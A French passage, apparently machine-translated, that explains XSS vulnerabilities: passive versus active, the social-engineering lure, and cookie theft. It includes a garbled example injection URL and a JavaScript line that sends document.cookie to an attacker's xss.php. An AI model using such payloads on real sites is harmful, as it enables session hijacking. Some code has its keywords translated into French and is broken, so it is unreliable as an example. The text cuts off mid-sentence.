Protection contre les attaques xss. Qu'est-ce qu'une vulnérabilité XSS. Codage côté client

Tout le monde sait depuis longtemps ce qu'est XSS et comment s'en protéger, je serai donc bref. XSS est la capacité d'un attaquant d'une certaine manière (voir le lien pour les options possibles à la fin de l'article) à intégrer un script dans la page du site Web de la victime qui sera exécuté lors de sa visite.

Fait intéressant, dans la plupart des cas où cette vulnérabilité est décrite, ils nous font peur avec le code suivant :

http://www.site.com/page.php?var= alertscript› alerte ("xss");

D'une certaine manière pas très effrayant :) En quoi cette vulnérabilité peut-elle vraiment être dangereuse ?

Passif et actif

Il existe deux types de vulnérabilités XSS : passives et actives.

Vulnérabilité active plus dangereux, puisque l'attaquant n'a pas besoin d'attirer la victime à l'aide d'un lien spécial, il lui suffit d'injecter le code dans la base de données ou un fichier sur le serveur. Ainsi, tous les visiteurs du site deviennent automatiquement des victimes. Il peut être intégré, par exemple, à l'aide de SQL Injection. Par conséquent, vous ne devez pas faire confiance aux données stockées dans la base de données, même si elles ont été traitées lors de l'insertion.

Exemple vulnérabilité passive se trouve au tout début de l'article. L'ingénierie sociale est déjà nécessaire ici, par exemple, une lettre importante de l'administration du site avec une demande de vérifier les paramètres de votre compte après la restauration à partir d'une sauvegarde. En conséquence, vous devez connaître l'adresse de la victime, ou tout simplement organiser un envoi de spam ou un message sur un forum, et même pas le fait que les victimes seront naïves et cliqueront sur votre lien.

De plus, les paramètres POST et GET peuvent être soumis à une vulnérabilité passive. Avec les paramètres POST, bien sûr, vous devez opter pour quelques astuces. Par exemple, la redirection depuis le site Web de l'attaquant.

">

Par conséquent, la vulnérabilité GET est un peu plus dangereuse, puisque il est plus facile pour la victime de remarquer le mauvais domaine que le paramètre facultatif (bien que l'url puisse être entièrement encodée).

Voler des cookies

C'est l'exemple le plus fréquemment cité d'attaque XSS. Dans les Cookies, les sites stockent parfois des informations précieuses (parfois même le nom d'utilisateur et le mot de passe (ou son hachage) de l'utilisateur), mais le plus dangereux est le vol d'une session active, alors n'oubliez pas de cliquer sur le lien "Quitter" sur les sites, même s'il s'agit d'un ordinateur personnel. Heureusement, sur la plupart des ressources, la durée de vie de la session est limitée.

var mg = nouvelle image (); mg.srс = "http: //site/xss.php?" + document.cookie ;

Par conséquent, nous avons introduit des restrictions de domaine sur XMLHttpRequest, mais un attaquant n'a pas peur, car il y a